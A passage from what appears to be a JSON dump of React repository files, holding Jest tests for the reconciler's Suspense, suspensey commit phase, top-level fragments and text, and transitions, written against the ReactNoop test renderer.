/>;\n      }\n\n      function App({showMore}) {\n        return (\n          <div>\n            <Suspense fallback={<Text text=\"Loading A...\" />}>\n              {showMore ? (\n                <>\n                  <AsyncText text=\"A\" />\n                </>\n              ) : null}\n            </Suspense>\n            {showMore ? (\n              <Suspense fallback={<Text text=\"Loading B...\" />}>\n                <ImmediatelyPings />\n              </Suspense>\n            ) : null}\n          </div>\n        );\n      }\n\n      // Initial render. This mounts a Suspense boundary, so that in the next\n      // update we can trigger a \"suspend with delay\" scenario.\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App showMore={false} />);\n      });\n      assertLog([]);\n      expect(root).toMatchRenderedOutput(<div />);\n\n      // Update. This will cause two separate trees to suspend. The first tree\n      // will be inside an already mounted Suspense boundary, so it will trigger\n      // a \"suspend with delay\". The second tree will be a new Suspense\n      // boundary, but the thenable that is thrown will immediately call its\n      // ping listener.\n      //\n      // Before the bug was fixed, this would lead to a `prepareFreshStack` call\n      // that unwinds the work-in-progress stack. When that code was written, it\n      // was expected that pings always happen from an asynchronous task (or\n      // microtask). But this test shows an example where that's not the case.\n      //\n      // The fix was to check if we're in the render phase before calling\n      // `prepareFreshStack`. The synchronous ping is instead recorded so the\n      // lane can be retried.\n      await act(() => {\n        startTransition(() => root.render(<App showMore={true} />));\n      });\n      assertLog([\n        'Suspend! [A]',\n        'Loading A...',\n        'Loading B...',\n        // The synchronous ping was recorded, so B retries and renders.\n        'Suspend! [A]',\n        'Loading A...',\n        'B',\n      ]);\n      expect(root).toMatchRenderedOutput(<div />);\n    },\n  );\n\n  // @gate enableLegacyCache && enableRetryLaneExpiration\n  it('recurring updates in siblings should not block expensive content in suspense boundary from committing', async () => {\n    const {useState} = React;\n\n    let setText;\n    function UpdatingText() {\n      const [text, _setText] = useState('1');\n      setText = _setText;\n      return <Text text={text} />;\n    }\n\n    function ExpensiveText({text, ms}) {\n      Scheduler.log(text);\n      Scheduler.unstable_advanceTime(ms);\n      return <span prop={text} />;\n    }\n\n    function App() {\n      return (\n        <>\n          <UpdatingText />\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <AsyncText text=\"Async\" />\n            <ExpensiveText text=\"A\" ms={1000} />\n            <ExpensiveText text=\"B\" ms={3999} />\n            <ExpensiveText text=\"C\" ms={100000} />\n          </Suspense>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n    await waitForAll([\n      '1',\n      'Suspend! [Async]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Async]',\n      'A',\n      'B',\n      'C',\n    ]);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"1\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n\n    await resolveText('Async');\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"1\" />\n        <span prop=\"Loading...\" />\n      </>,\n    );\n\n    await waitFor(['Async', 'A', 'B']);\n    ReactNoop.expire(100000);\n    await advanceTimers(100000);\n    setText('2');\n    await waitForPaint(['2']);\n\n    await waitForMicrotasks();\n    Scheduler.unstable_flushNumberOfYields(1);\n    assertLog(['Async', 'A', 'B', 'C']);\n\n    expect(root).toMatchRenderedOutput(\n      <>\n        <span prop=\"2\" />\n        <span prop=\"Async\" />\n        <span prop=\"A\" />\n        <span prop=\"B\" />\n        <span prop=\"C\" />\n      </>,\n    );\n  });\n\n  it('can rerender after resolving a promise', async () => {\n    const promise = Promise.resolve(null);\n    const root = ReactNoop.createRoot();\n\n    await act(() => {\n      startTransition(() => {\n        root.render(<Suspense>{promise}</Suspense>);\n      });\n    });\n\n    assertLog([]);\n    expect(root).toMatchRenderedOutput(null);\n\n    await act(() => {\n      startTransition(() => {\n        root.render(\n          <Suspense>\n            <div />\n          </Suspense>,\n        );\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactSuspenseyCommitPhase-test.js",
    "content": "let React;\nlet startTransition;\nlet ReactNoop;\nlet resolveSuspenseyThing;\nlet getSuspenseyThingStatus;\nlet Suspense;\nlet Activity;\nlet SuspenseList;\nlet useMemo;\nlet Scheduler;\nlet act;\nlet assertLog;\nlet waitForPaint;\n\ndescribe('ReactSuspenseyCommitPhase', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    Suspense = React.Suspense;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n    Activity = React.Activity;\n    useMemo = React.useMemo;\n    startTransition = React.startTransition;\n    resolveSuspenseyThing = ReactNoop.resolveSuspenseyThing;\n    getSuspenseyThingStatus = ReactNoop.getSuspenseyThingStatus;\n\n    const InternalTestUtils = require('internal-test-utils');\n    act = InternalTestUtils.act;\n    assertLog = InternalTestUtils.assertLog;\n    waitForPaint = InternalTestUtils.waitForPaint;\n  });\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function SuspenseyImage({src}) {\n    return (\n      <suspensey-thing\n        src={src}\n        timeout={100}\n        onLoadStart={() => Scheduler.log(`Image requested [${src}]`)}\n      />\n    );\n  }\n\n  // @gate enableSuspenseyImages\n  it('suspend commit during initial mount', async () => {\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <SuspenseyImage src=\"A\" />\n          </Suspense>,\n        );\n      });\n    });\n    assertLog(['Image requested [A]', 'Loading...']);\n    expect(getSuspenseyThingStatus('A')).toBe('pending');\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    // This should synchronously commit\n    resolveSuspenseyThing('A');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('suspend commit during update', async () => {\n    const root = ReactNoop.createRoot();\n    await act(() => resolveSuspenseyThing('A'));\n    await act(async () => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <SuspenseyImage src=\"A\" />\n          </Suspense>,\n        );\n      });\n    });\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    // Update to a new image src. The transition should suspend because\n    // the src hasn't loaded yet, and the image is in an already-visible tree.\n    await act(async () => {\n      startTransition(() => {\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <SuspenseyImage src=\"B\" />\n          </Suspense>,\n        );\n      });\n    });\n    assertLog(['Image requested [B]']);\n    expect(getSuspenseyThingStatus('B')).toBe('pending');\n    // Should remain on previous screen\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    // This should synchronously commit\n    resolveSuspenseyThing('B');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"B\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('suspend commit during initial mount at the root', async () => {\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        root.render(<SuspenseyImage src=\"A\" />);\n      });\n    });\n    assertLog(['Image requested [A]']);\n    expect(getSuspenseyThingStatus('A')).toBe('pending');\n    expect(root).toMatchRenderedOutput(null);\n\n    resolveSuspenseyThing('A');\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('suspend commit during update at the root', async () => {\n    const root = ReactNoop.createRoot();\n    await act(() => resolveSuspenseyThing('A'));\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(null);\n    await act(async () => {\n      startTransition(() => {\n        root.render(<SuspenseyImage src=\"A\" />);\n      });\n    });\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    await act(async () => {\n      startTransition(() => {\n        root.render(<SuspenseyImage src=\"B\" />);\n      });\n    });\n    assertLog(['Image requested [B]']);\n    expect(getSuspenseyThingStatus('B')).toBe('pending');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    resolveSuspenseyThing('B');\n    expect(getSuspenseyThingStatus('B')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"B\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('suspend commit during urgent initial mount', async () => {\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <SuspenseyImage src=\"A\" />\n        </Suspense>,\n      );\n    });\n    assertLog(['Image requested [A]', 'Loading...']);\n    expect(getSuspenseyThingStatus('A')).toBe('pending');\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    resolveSuspenseyThing('A');\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('suspend commit during urgent update', async () => {\n    const root = ReactNoop.createRoot();\n    await act(() => resolveSuspenseyThing('A'));\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    await act(async () => {\n      root.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <SuspenseyImage src=\"A\" />\n        </Suspense>,\n      );\n    });\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    resolveSuspenseyThing('A');\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    await act(async () => {\n      root.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <SuspenseyImage src=\"B\" />\n        </Suspense>,\n      );\n    });\n    assertLog(['Image requested [B]', 'Loading...']);\n    expect(getSuspenseyThingStatus('B')).toBe('pending');\n    expect(root).toMatchRenderedOutput(\n      <>\n        <suspensey-thing src=\"A\" hidden={true} />\n        {'Loading...'}\n      </>,\n    );\n\n    resolveSuspenseyThing('B');\n    expect(getSuspenseyThingStatus('B')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"B\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('suspends commit during urgent initial mount at the root', async () => {\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<SuspenseyImage src=\"A\" />);\n    });\n    assertLog(['Image requested [A]']);\n    expect(getSuspenseyThingStatus('A')).toBe('pending');\n    expect(root).toMatchRenderedOutput(null);\n\n    resolveSuspenseyThing('A');\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('suspends commit during urgent update at the root', async () => {\n    const root = ReactNoop.createRoot();\n    await act(() => resolveSuspenseyThing('A'));\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(null);\n    await act(async () => {\n      root.render(<SuspenseyImage src=\"A\" />);\n    });\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    await act(async () => {\n      root.render(<SuspenseyImage src=\"B\" />);\n    });\n    assertLog(['Image requested [B]']);\n    expect(getSuspenseyThingStatus('B')).toBe('pending');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    resolveSuspenseyThing('B');\n    expect(getSuspenseyThingStatus('B')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"B\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('does suspend commit during urgent initial mount at the root when sync rendering', async () => {\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      ReactNoop.flushSync(() => {\n        root.render(<SuspenseyImage src=\"A\" />);\n      });\n    });\n    assertLog(['Image requested [A]']);\n    expect(getSuspenseyThingStatus('A')).toBe('pending');\n    // Suspend the initial mount\n    expect(root).toMatchRenderedOutput(null);\n\n    resolveSuspenseyThing('A');\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('does suspend commit during urgent update at the root when sync rendering', async () => {\n    const root = ReactNoop.createRoot();\n    await act(() => resolveSuspenseyThing('A'));\n    expect(getSuspenseyThingStatus('A')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(null);\n    await act(async () => {\n      ReactNoop.flushSync(() => {\n        root.render(<SuspenseyImage src=\"A\" />);\n      });\n    });\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    await act(async () => {\n      ReactNoop.flushSync(() => {\n        root.render(<SuspenseyImage src=\"B\" />);\n      });\n    });\n    assertLog(['Image requested [B]']);\n    expect(getSuspenseyThingStatus('B')).toBe('pending');\n    // Suspend and remain on previous screen\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"A\" />);\n\n    resolveSuspenseyThing('B');\n    expect(getSuspenseyThingStatus('B')).toBe('fulfilled');\n    expect(root).toMatchRenderedOutput(<suspensey-thing src=\"B\" />);\n  });\n\n  // @gate enableSuspenseyImages\n  it('an urgent update interrupts a suspended commit', async () => {\n    const root = ReactNoop.createRoot();\n\n    // Mount an image. This transition will suspend because it's not inside a\n    // Suspense boundary.\n    await act(() => {\n      startTransition(() => {\n        root.render(<SuspenseyImage src=\"A\" />);\n      });\n    });\n    assertLog(['Image requested [A]']);\n    // Nothing showing yet.\n    expect(root).toMatchRenderedOutput(null);\n\n    // If there's an update, it should interrupt the suspended commit.\n    await act(() => {\n      root.render(<Text text=\"Something else\" />);\n    });\n    assertLog(['Something else']);\n    expect(root).toMatchRenderedOutput('Something else');\n  });\n\n  // @gate enableSuspenseyImages\n  it('a transition update interrupts a suspended commit', async () => {\n    const root = ReactNoop.createRoot();\n\n    // Mount an image. This transition will suspend because it's not inside a\n    // Suspense boundary.\n    await act(() => {\n      startTransition(() => {\n        root.render(<SuspenseyImage src=\"A\" />);\n      });\n    });\n    assertLog(['Image requested [A]']);\n    // Nothing showing yet.\n    expect(root).toMatchRenderedOutput(null);\n\n    // If there's an update, it should interrupt the suspended commit.\n    await act(() => {\n      startTransition(() => {\n        root.render(<Text text=\"Something else\" />);\n      });\n    });\n    assertLog(['Something else']);\n    expect(root).toMatchRenderedOutput('Something else');\n  });\n\n  // @gate enableSuspenseList && enableSuspenseyImages\n  it('demonstrate current behavior when used with SuspenseList (not ideal)', async () => {\n    function App() {\n      return (\n        <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n          <Suspense fallback={<Text text=\"Loading A\" />}>\n            <SuspenseyImage src=\"A\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading B\" />}>\n            <SuspenseyImage src=\"B\" />\n          </Suspense>\n          <Suspense fallback={<Text text=\"Loading C\" />}>\n            <SuspenseyImage src=\"C\" />\n          </Suspense>\n        </SuspenseList>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(() => {\n      startTransition(() => {\n        root.render(<App />);\n      });\n    });\n    assertLog([\n      'Image requested [A]',\n      'Loading A',\n      'Loading B',\n      'Loading C',\n      'Image requested [B]',\n      'Image requested [C]',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading ALoading BLoading C');\n\n    // TODO: Notice that none of these items appear until they've all loaded.\n    // That's not ideal; we should commit each row as it becomes ready to\n    // commit. That means we need to prepare both the fallback and the primary\n    // tree during the render phase. Related to Activity, too.\n    resolveSuspenseyThing('A');\n    expect(root).toMatchRenderedOutput('Loading ALoading BLoading C');\n    resolveSuspenseyThing('B');\n    expect(root).toMatchRenderedOutput('Loading ALoading BLoading C');\n    resolveSuspenseyThing('C');\n    expect(root).toMatchRenderedOutput(\n      <>\n        <suspensey-thing src=\"A\" />\n        <suspensey-thing src=\"B\" />\n        <suspensey-thing src=\"C\" />\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseyImages\n  it('avoid triggering a fallback if resource loads immediately', async () => {\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      startTransition(() => {\n        // Intentionally rendering <suspensey-thing>s in a variety of tree\n        // positions to test that the work loop resumes correctly in each case.\n        root.render(\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <suspensey-thing\n              src=\"A\"\n              onLoadStart={() => Scheduler.log('Request [A]')}>\n              <suspensey-thing\n                src=\"B\"\n                onLoadStart={() => Scheduler.log('Request [B]')}\n              />\n            </suspensey-thing>\n            <suspensey-thing\n              src=\"C\"\n              onLoadStart={() => Scheduler.log('Request [C]')}\n            />\n          </Suspense>,\n        );\n      });\n      // React will yield right after the resource suspends.\n      // TODO: The child is preloaded first because we preload in the complete\n      // phase. Ideally it should be in the begin phase, but we currently don't\n      // create the instance until complete. However, it's unclear if we even\n      // need the instance for preloading. So we should probably move this to\n      // the begin phase.\n      await waitForPaint(['Request [B]']);\n      // Resolve in an immediate task. This could happen if the resource is\n      // already loaded into the cache.\n      resolveSuspenseyThing('B');\n      await waitForPaint(['Request [A]']);\n      resolveSuspenseyThing('A');\n      await waitForPaint(['Request [C]']);\n      resolveSuspenseyThing('C');\n    });\n    expect(root).toMatchRenderedOutput(\n      <>\n        <suspensey-thing src=\"A\">\n          <suspensey-thing src=\"B\" />\n        </suspensey-thing>\n        <suspensey-thing src=\"C\" />\n      </>,\n    );\n  });\n\n  // @gate enableSuspenseyImages\n  it(\"host instances don't suspend during prerendering, but do suspend when they are revealed\", async () => {\n    function More() {\n      Scheduler.log('More');\n      return <SuspenseyImage src=\"More\" />;\n    }\n\n    function Details({showMore}) {\n      Scheduler.log('Details');\n      const more = useMemo(() => <More />, []);\n      return (\n        <>\n          <div>Main Content</div>\n          <Activity mode={showMore ? 'visible' : 'hidden'}>{more}</Activity>\n        </>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    await act(async () => {\n      root.render(<Details showMore={false} />);\n      // First render the outer component, without the hidden content\n      await waitForPaint(['Details']);\n      expect(root).toMatchRenderedOutput(<div>Main Content</div>);\n    });\n    // Then prerender the hidden content.\n    assertLog(['More', 'Image requested [More]']);\n    // The prerender should commit even though the image is still loading,\n    // because it's hidden.\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Main Content</div>\n        <suspensey-thing hidden={true} src=\"More\" />\n      </>,\n    );\n\n    // Reveal the prerendered content. This update should suspend, because the\n    // image that is being revealed still hasn't loaded.\n    await act(() => {\n      startTransition(() => {\n        root.render(<Details showMore={true} />);\n      });\n    });\n    // The More component should not render again, because it was memoized,\n    // and it already prerendered.\n    assertLog(['Details']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Main Content</div>\n        <suspensey-thing hidden={true} src=\"More\" />\n      </>,\n    );\n\n    // Now resolve the image. The transition should complete.\n    resolveSuspenseyThing('More');\n    expect(root).toMatchRenderedOutput(\n      <>\n        <div>Main Content</div>\n        <suspensey-thing src=\"More\" />\n      </>,\n    );\n  });\n\n  // FIXME: Should pass with `enableYieldingBeforePassive`\n  // @gate !enableYieldingBeforePassive && enableSuspenseyImages\n  it('runs passive effects after suspended commit resolves', async () => {\n    function Effect() {\n      React.useEffect(() => {\n        Scheduler.log('flush effect');\n      });\n      return <Text text=\"render effect\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n\n    await act(() => {\n      root.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Effect />\n          <SuspenseyImage src=\"A\" />\n        </Suspense>,\n      );\n    });\n\n    assertLog([\n      'render effect',\n      'Image requested [A]',\n      'Loading...',\n      'render effect',\n    ]);\n    expect(root).toMatchRenderedOutput('Loading...');\n\n    await act(() => {\n      resolveSuspenseyThing('A');\n    });\n\n    assertLog(['flush effect']);\n    expect(root).toMatchRenderedOutput(\n      <>\n        {'render effect'}\n        <suspensey-thing src=\"A\" />\n      </>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactTopLevelFragment-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet waitForAll;\n\n// This is a new feature in Fiber so I put it in its own test file. It could\n// probably move to one of the other test files once it is official.\ndescribe('ReactTopLevelFragment', function () {\n  beforeEach(function () {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  it('should render a simple fragment at the top of a component', async function () {\n    function Fragment() {\n      return [<div key=\"a\">Hello</div>, <div key=\"b\">World</div>];\n    }\n    ReactNoop.render(<Fragment />);\n    await waitForAll([]);\n  });\n\n  it('should preserve state when switching from a single child', async function () {\n    let instance = null;\n\n    class Stateful extends React.Component {\n      render() {\n        instance = this;\n        return <div>Hello</div>;\n      }\n    }\n\n    function Fragment({condition}) {\n      return condition ? (\n        <Stateful key=\"a\" />\n      ) : (\n        [<Stateful key=\"a\" />, <div key=\"b\">World</div>]\n      );\n    }\n    ReactNoop.render(<Fragment />);\n    await waitForAll([]);\n\n    const instanceA = instance;\n\n    expect(instanceA).not.toBe(null);\n\n    ReactNoop.render(<Fragment condition={true} />);\n    await waitForAll([]);\n\n    const instanceB = instance;\n\n    expect(instanceB).toBe(instanceA);\n  });\n\n  it('should not preserve state when switching to a nested array', async function () {\n    let instance = null;\n\n    class Stateful extends React.Component {\n      render() {\n        instance = this;\n        return <div>Hello</div>;\n      }\n    }\n\n    function Fragment({condition}) {\n      return condition ? (\n        <Stateful key=\"a\" />\n      ) : (\n        [[<Stateful key=\"a\" />, <div key=\"b\">World</div>], <div key=\"c\" />]\n      );\n    }\n    ReactNoop.render(<Fragment />);\n    await waitForAll([]);\n\n    const instanceA = instance;\n\n    expect(instanceA).not.toBe(null);\n\n    ReactNoop.render(<Fragment condition={true} />);\n    await waitForAll([]);\n\n    const instanceB = instance;\n\n    expect(instanceB).not.toBe(instanceA);\n  });\n\n  it('preserves state if an implicit key slot switches from/to null', async function () {\n    let instance = null;\n\n    class Stateful extends React.Component {\n      render() {\n        instance = this;\n        return <div>World</div>;\n      }\n    }\n\n    function Fragment({condition}) {\n      return condition\n        ? [null, <Stateful key=\"a\" />]\n        : [<div key=\"b\">Hello</div>, <Stateful key=\"a\" />];\n    }\n    ReactNoop.render(<Fragment />);\n    await waitForAll([]);\n\n    const instanceA = instance;\n\n    expect(instanceA).not.toBe(null);\n\n    ReactNoop.render(<Fragment condition={true} />);\n    await waitForAll([]);\n\n    const instanceB = instance;\n\n    expect(instanceB).toBe(instanceA);\n\n    ReactNoop.render(<Fragment condition={false} />);\n    await waitForAll([]);\n\n    const instanceC = instance;\n\n    expect(instanceC === instanceA).toBe(true);\n  });\n\n  it('should preserve state in a reorder', async function () {\n    let instance = null;\n\n    class Stateful extends React.Component {\n      render() {\n        instance = this;\n        return <div>Hello</div>;\n      }\n    }\n\n    function Fragment({condition}) {\n      return condition\n        ? [[<div key=\"b\">World</div>, <Stateful key=\"a\" />]]\n        : [[<Stateful key=\"a\" />, <div key=\"b\">World</div>], <div key=\"c\" />];\n    }\n    ReactNoop.render(<Fragment />);\n    await waitForAll([]);\n\n    const instanceA = instance;\n\n    expect(instanceA).not.toBe(null);\n\n    ReactNoop.render(<Fragment condition={true} />);\n    await waitForAll([]);\n\n    const instanceB = instance;\n\n    expect(instanceB).toBe(instanceA);\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactTopLevelText-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet waitForAll;\n\n// This is a new feature in Fiber so I put it in its own test file. It could\n// probably move to one of the other test files once it is official.\ndescribe('ReactTopLevelText', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  it('should render a component returning strings directly from render', async () => {\n    const Text = ({value}) => value;\n    ReactNoop.render(<Text value=\"foo\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('foo');\n  });\n\n  it('should render a component returning numbers directly from render', async () => {\n    const Text = ({value}) => value;\n    ReactNoop.render(<Text value={10} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('10');\n  });\n\n  it('should render a component returning bigints directly from render', async () => {\n    const Text = ({value}) => value;\n    ReactNoop.render(<Text value={10n} />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput('10');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactTransition-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet Suspense;\nlet useState;\nlet useLayoutEffect;\nlet useTransition;\nlet startTransition;\nlet act;\nlet getCacheForType;\nlet waitForAll;\nlet waitFor;\nlet waitForPaint;\nlet assertLog;\n\nlet caches;\nlet seededCache;\n\ndescribe('ReactTransition', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    useState = React.useState;\n    useLayoutEffect = React.useLayoutEffect;\n    useTransition = React.useTransition;\n    Suspense = React.Suspense;\n    startTransition = React.startTransition;\n    getCacheForType = React.unstable_getCacheForType;\n    act = require('internal-test-utils').act;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n\n    caches = [];\n    seededCache = null;\n  });\n\n  function createTextCache() {\n    if (seededCache !== null) {\n      // Trick to seed a cache before it exists.\n      // TODO: Need a built-in API to seed data before the initial render (i.e.\n      // not a refresh because nothing has mounted yet).\n      const cache = seededCache;\n      seededCache = null;\n      return cache;\n    }\n\n    const data = new Map();\n    const version = caches.length + 1;\n    const cache = {\n      version,\n      data,\n      resolve(text) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'resolved',\n            value: text,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'resolved';\n          record.value = text;\n          thenable.pings.forEach(t => t());\n        }\n      },\n      reject(text, error) {\n        const record = data.get(text);\n        if (record === undefined) {\n          const newRecord = {\n            status: 'rejected',\n            value: error,\n          };\n          data.set(text, newRecord);\n        } else if (record.status === 'pending') {\n          const thenable = record.value;\n          record.status = 'rejected';\n          record.value = error;\n          thenable.pings.forEach(t => t());\n        }\n      },\n    };\n    caches.push(cache);\n    return cache;\n  }\n\n  function readText(text) {\n    const textCache = getCacheForType(createTextCache);\n    const record = textCache.data.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          Scheduler.log(`Error! [${text}]`);\n          throw record.value;\n        case 'resolved':\n          return textCache.version;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.data.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  function seedNextTextCache(text) {\n    if (seededCache === null) {\n      seededCache = createTextCache();\n    }\n    seededCache.resolve(text);\n  }\n\n  function resolveText(text) {\n    if (caches.length === 0) {\n      throw Error('Cache does not exist.');\n    } else {\n      // Resolve the most recently created cache. An older cache can by\n      // resolved with `caches[index].resolve(text)`.\n      caches[caches.length - 1].resolve(text);\n    }\n  }\n\n  // @gate enableLegacyCache\n  it('isPending works even if called from outside an input event', async () => {\n    let start;\n    function App() {\n      const [show, setShow] = useState(false);\n      const [isPending, _start] = useTransition();\n      start = () => _start(() => setShow(true));\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          {isPending ? <Text text=\"Pending...\" /> : null}\n          {show ? <AsyncText text=\"Async\" /> : <Text text=\"(empty)\" />}\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n\n    await act(() => {\n      root.render(<App />);\n    });\n    assertLog(['(empty)']);\n    expect(root).toMatchRenderedOutput('(empty)');\n\n    await act(async () => {\n      start();\n\n      await waitForAll([\n        'Pending...',\n        '(empty)',\n        'Suspend! [Async]',\n        'Loading...',\n      ]);\n\n      expect(root).toMatchRenderedOutput('Pending...(empty)');\n\n      await resolveText('Async');\n    });\n    assertLog(['Async']);\n    expect(root).toMatchRenderedOutput('Async');\n  });\n\n  // @gate enableLegacyCache\n  it('when multiple transitions update different queues, they entangle', async () => {\n    let setA;\n    let startTransitionA;\n    let setB;\n    let startTransitionB;\n    function A() {\n      const [a, _setA] = useState(0);\n      const [isPending, _startTransitionA] = useTransition();\n      setA = _setA;\n      startTransitionA = _startTransitionA;\n\n      return 